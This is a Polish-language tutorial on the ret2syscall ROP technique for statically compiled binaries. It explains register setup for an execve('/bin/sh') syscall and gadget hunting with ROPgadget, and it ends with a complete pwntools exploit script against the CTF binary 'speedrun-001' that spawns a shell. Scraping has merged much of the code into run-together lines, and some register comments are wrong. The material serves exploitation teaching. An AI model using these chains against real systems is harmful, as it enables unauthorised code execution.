To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall sys_execve z pewnymi argumentami, aby wykonać /bin/sh. Ta technika jest zazwyczaj stosowana w binariach, które są kompilowane statycznie, więc może być wiele gadżetów i instrukcji syscall.
Aby przygotować wywołanie dla syscall, potrzebna jest następująca konfiguracja:
rax: 59 Wskazuje sys_execve
rdi: wskaźnik do "/bin/sh" wskazuje plik do wykonania
rsi: 0 wskazuje brak przekazanych argumentów
rdx: 0 wskazuje brak przekazanych zmiennych środowiskowych
Więc, zasadniczo trzeba napisać ciąg /bin/sh gdzieś, a następnie wykonać syscall (mając na uwadze potrzebne wypełnienie do kontrolowania stosu). W tym celu potrzebujemy gadżetu, aby zapisać /bin/sh w znanym obszarze.
Innym interesującym syscall do wywołania jest mprotect, który pozwoliłby atakującemu na zmodyfikowanie uprawnień strony w pamięci. Może to być połączone z ret2shellcode.
Gadżety rejestrów
Zacznijmy od znalezienia jak kontrolować te rejestry:
Następnie musisz znaleźć sposób na zapisanie dowolnej treści pod tym adresem
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatyzacja łańcucha ROP
Poniższe polecenie tworzy pełny łańcuch ROP sys_execve dla statycznego binarnego, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
ROPgadget--binaryvuln--ropchain
32 bity
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 bity
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Brak Gadżetów
Jeśli brakuje gadżetów, na przykład do zapisania /bin/sh w pamięci, możesz użyć techniki SROP, aby kontrolować wszystkie wartości rejestrów (w tym RIP i rejestry parametrów) ze stosu:
Przykład Eksploitu
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania execve i przeskocz tam. Aby zapisać na stosie, nadużywana jest funkcja wykonująca operacje matematyczne.